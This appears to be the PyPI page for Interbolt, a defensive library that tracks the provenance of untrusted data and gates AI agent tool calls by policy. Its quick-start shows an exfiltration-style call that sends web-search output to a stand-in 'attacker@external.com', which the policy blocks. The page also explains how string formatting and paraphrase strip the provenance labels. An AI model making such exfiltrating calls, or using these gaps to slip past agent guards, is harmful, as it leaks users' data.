Provenance-gated tool calls for AI agents.
Project description
Interbolt
Provenance-gated tool calls for AI agents.
Mark untrusted data where it enters an agent. Interbolt propagates that mark through your code and evaluates a YAML+CEL policy at each guarded tool call, returning allow, block, or require-approval based on the provenance of the call's arguments. Decisions are deterministic and in-process: no model, no network calls.
Quick start
pip install interbolt
from interbolt import configure, taint, Policy, PolicyViolation, Tainted
runtime = configure(policy=Policy.from_file("policy.yaml"))
agent = runtime.agent("support-agent")
@agent.guard
def send_email(to: str, body: str) -> None:
...
# web_search returns a plain str. taint() on a str returns a Tainted, which
# is a str subclass, so it is accepted anywhere a str is expected with no
# change to send_email's signature.
summary: Tainted = taint(web_search("..."), source="web_search")
# body: str accepts the Tainted str; the policy still sees the provenance label
# at the call boundary.
try:
send_email(to="attacker@external.com", body=summary)
except PolicyViolation as e:
print(e.decision.matched_rule) # "block_untrusted_exfil"
A starter policy.example.yaml ships with the repo. Check policies in CI with interbolt validate policy.yaml.
What propagates, and what does not
Provenance is a set of source names attached to a value. Trust is resolved at the sink by looking each source up in your policy, so the same file governs both ingress trust and egress gating.
The label survives direct passing of a value to a tool argument and operator-style combination (+, %, slicing, and string methods called on a tainted value). It does not survive the common string-assembly constructs: f-strings with surrounding text, str.format, and " ".join(...) on a plain separator all produce a fresh string with no label. For those, re-taint the result by hand, which is the documented escape hatch. The same applies across a model-mediated agent-to-agent handoff: one agent's generated output reaches the next as plain, unlabeled text, so re-taint it at the boundary.
This is a deliberate, honest limit of an in-process string-subclass carrier, stated in full in the propagation contract. To find the places where a transformation laundered a label that should have been re-tainted, run the audit (below).
Modes and the audit
configure(mode=...) sets enforcement behavior:
enforce(default): fails closed. An evaluation error is treated as a block.monitor: fails open on evaluation error and logs it; real blocks still block. An adoption on-ramp.dry_run: computes and emits every decision but blocks nothing. Test a new policy against live traffic.
configure(audit=True) turns on the laundering audit, an in-process instrument orthogonal to the mode. It watches a real run and reports where untrusted content reached a sink without a label, which is how you catch a forgotten re-taint. It catches mechanical laundering (the bytes survive into the argument); it cannot catch a model summarizing or paraphrasing the untrusted text first. Findings come out through the reporter, so you assert on them in a test with InMemoryReporter.
interbolt validate policy.yaml is static analysis only: it checks the schema, compiles every CEL expression, and rejects ambiguous dotted names, dead rules, and references to trifecta legs this version cannot compute. It never runs your agent, so it fits CI and pre-commit.
MCP
interbolt[mcp] provides wrap_session, which adapts an MCP client session: the namespace becomes the server name, tool outputs are tainted as untrusted by default, and calls route through the policy. No core dependency, no rewrite of your tool logic.
Documentation
See docs/ for policies, the propagation contract, identity and namespacing, testing, auditing, and the API reference.
License
Apache-2.0. Built by Deconvolute Labs.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file interbolt-0.1.0.tar.gz.
File metadata
- Download URL: interbolt-0.1.0.tar.gz
- Upload date:
- Size: 84.9 kB
- Tags: Source
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
35654ada8d00b80a85717bda00d385889bc1a3e39b2a9feb55840d1f49b8767a
|
|
| MD5 |
696daec827523d1d63e580b40e001d6f
|
|
| BLAKE2b-256 |
b8f4e6c78d331c69b3bc80812b8726a652006ab39ffbe8e8b4a4ebd0cf924d24
|
Provenance
The following attestation bundles were made for interbolt-0.1.0.tar.gz:
Publisher:
release.yml on deconvolute-labs/interbolt
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
interbolt-0.1.0.tar.gz -
Subject digest:
35654ada8d00b80a85717bda00d385889bc1a3e39b2a9feb55840d1f49b8767a - Sigstore transparency entry: 2025899676
- Sigstore integration time:
-
Permalink:
deconvolute-labs/interbolt@bc68a5e150069e5579d20575ffda98789e44baa3 -
Branch / Tag:
refs/heads/main - Owner: https://github.com/deconvolute-labs
-
Access:
private
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@bc68a5e150069e5579d20575ffda98789e44baa3 -
Trigger Event:
workflow_dispatch
-
Statement type:
File details
Details for the file interbolt-0.1.0-py3-none-any.whl.
File metadata
- Download URL: interbolt-0.1.0-py3-none-any.whl
- Upload date:
- Size: 34.4 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? Yes
- Uploaded via: twine/6.1.0 CPython/3.13.12
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
407380032748d48ceacf035599045e1badb26e26adad5da0c86fdd0e829af29a
|
|
| MD5 |
bc021ecfb8ea9ed75be76fd488615d24
|
|
| BLAKE2b-256 |
610df995266891a8743526418f42129680cb15a02c4b99c54cab3d60066097a0
|
Provenance
The following attestation bundles were made for interbolt-0.1.0-py3-none-any.whl:
Publisher:
release.yml on deconvolute-labs/interbolt
-
Statement:
-
Statement type:
https://in-toto.io/Statement/v1 -
Predicate type:
https://docs.pypi.org/attestations/publish/v1 -
Subject name:
interbolt-0.1.0-py3-none-any.whl -
Subject digest:
407380032748d48ceacf035599045e1badb26e26adad5da0c86fdd0e829af29a - Sigstore transparency entry: 2025899774
- Sigstore integration time:
-
Permalink:
deconvolute-labs/interbolt@bc68a5e150069e5579d20575ffda98789e44baa3 -
Branch / Tag:
refs/heads/main - Owner: https://github.com/deconvolute-labs
-
Access:
private
-
Token Issuer:
https://token.actions.githubusercontent.com -
Runner Environment:
github-hosted -
Publication workflow:
release.yml@bc68a5e150069e5579d20575ffda98789e44baa3 -
Trigger Event:
workflow_dispatch
-
Statement type: